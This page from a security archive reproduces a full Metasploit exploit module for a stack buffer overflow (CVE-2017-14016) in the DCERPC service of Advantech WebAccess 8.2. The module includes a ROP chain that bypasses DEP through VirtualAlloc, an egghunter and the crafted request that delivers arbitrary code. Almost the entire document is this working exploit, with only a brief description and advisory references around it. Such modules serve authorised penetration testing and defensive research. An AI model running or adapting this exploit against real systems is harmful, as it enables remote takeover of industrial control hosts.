Advantech WebAccess 8.2 Stack Buffer Overflow

#238
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  • This Metasploit module exploits a stack buffer overflow in Advantech WebAccess version 8.2. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code.
    MD5 | 84628f5a2ed1fc38ada967ebdff3e267
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    ##  
    # This module requires Metasploit: http://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = GoodRanking  
    include Msf::Exploit::Remote::DCERPC  
    include Msf::Exploit::Egghunter  
    def initialize(info = {})  
    super(update_info(info,  
    'Name'           => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',  
    'Description'    => %q{  
    This module exploits a stack buffer overflow in Advantech WebAccess 8.2.  
    By sending a specially crafted DCERPC request, an attacker could overflow  
    the buffer and execute arbitrary code.  
    },  
    'Author'         => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],  
    'License'        => MSF_LICENSE,  
    'References'     =>  
    [  
    [ 'ZDI', '17-938' ],  
    [ 'CVE', '2017-14016' ],  
    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]  
    ],  
    'Privileged'     => true,  
    'DefaultOptions' =>  
    {  
    'EXITFUNC' => 'thread',  
    },  
    'Payload'        =>  
    {  
    'Space'    => 2048,  
    'BadChars' => "\x00",  
    },  
    'Platform' => 'win',  
    'Targets'  =>  
    [  
    [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',  
    {  
    'Ret'   => 0x07036cdc,  # pop ebx; add esp, 994; retn 0x14  
    'Slide' => 0x07048f5b,  # retn  
    'Jmp'   => 0x0706067e   # pop ecx; pop ecx; ret 0x04  
    }  
    ],  
    ],  
    'DisclosureDate' => 'Nov 02 2017',  
    'DefaultTarget'  => 0))  
    register_options([ Opt::RPORT(4592)])  
    end  
    def create_rop_chain()  
    # this target opts into dep  
    rop_gadgets =  
    [  
    0x020214c6,  # POP EAX # RETN [BwKrlAPI.dll]  
    0x0203a134,  # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]  
    0x02032fb4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]  
    0x070738ee,  # XCHG EAX,ESI # RETN [BwPAlarm.dll]  
    0x0201a646,  # POP EBP # RETN [BwKrlAPI.dll]  
    0x07024822,  # & push esp # ret  [BwPAlarm.dll]  
    0x070442dd,  # POP EAX # RETN [BwPAlarm.dll]  
    0xffffffff,  # Value to negate, will become 0x00000001  
    0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]  
    0x0704de61,  # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]  
    rand_text_alpha(4).unpack('V'),  
    rand_text_alpha(4).unpack('V'),  
    rand_text_alpha(4).unpack('V'),  
    0x02030af7,  # POP EAX # RETN [BwKrlAPI.dll]  
    0xfbdbcbd5,  # put delta into eax (-> put 0x00001000 into edx)  
    0x02029003,  # ADD EAX,424442B # RETN [BwKrlAPI.dll]  
    0x0201234a,  # XCHG EAX,EDX # RETN [BwKrlAPI.dll]  
    0x07078df5,  # POP EAX # RETN [BwPAlarm.dll]  
    0xffffffc0,  # Value to negate, will become 0x00000040  
    0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]  
    0x07011e60,  # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]  
    0x0706fe66,  # POP EDI # RETN [BwPAlarm.dll]  
    rand_text_alpha(4).unpack('V'),  
    rand_text_alpha(4).unpack('V'),  
    0x0703d825,  # RETN (ROP NOP) [BwPAlarm.dll]  
    0x0202ca65,  # POP EAX # RETN [BwKrlAPI.dll]  
    0x90909090,  # nop  
    0x07048f5a,  # PUSHAD # RETN [BwPAlarm.dll]  
    ].flatten.pack("V*")  
    return rop_gadgets  
    end  
    def exploit  
    connect  
    handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
    print_status("Binding to #{handle} ...")  
    dcerpc_bind(handle)  
    print_status("Bound to #{handle} ...")  
    # send the request to get the handle  
    resp   = dcerpc.call(0x4, [0x02000000].pack('V'))  
    handle = resp.last(4).unpack('V').first  
    print_good("Got a handle: 0x%08x" % handle)  
    egg_options = { :eggtag   => "0day" }  
    egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)  
    # apparently this is called a ret chain  
    overflow  = [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Jmp']].pack('V')  
    overflow << [target['Ret']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << [target['Slide']].pack('V')  
    overflow << create_rop_chain()  
    overflow << egghunter  
    overflow << egg  
    overflow << rand_text_alpha(0x1000-overflow.length)  
    # sorry but I dont like msf's ndr class.  
    sploit  = [handle].pack('V')  
    sploit << [0x000138bd].pack('V')  # opcode we are attacking  
    sploit << [0x00001000].pack('V')  # size to copy  
    sploit << [0x00001000].pack('V')  # size of string  
    sploit << overflow  
    print_status("Trying target #{target.name}...")  
    begin  
    dcerpc_call(0x1, sploit)  
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
    ensure  
    disconnect  
    end  
    handler  
    end  
    end  
    

    Source: packetstormsecurity.com

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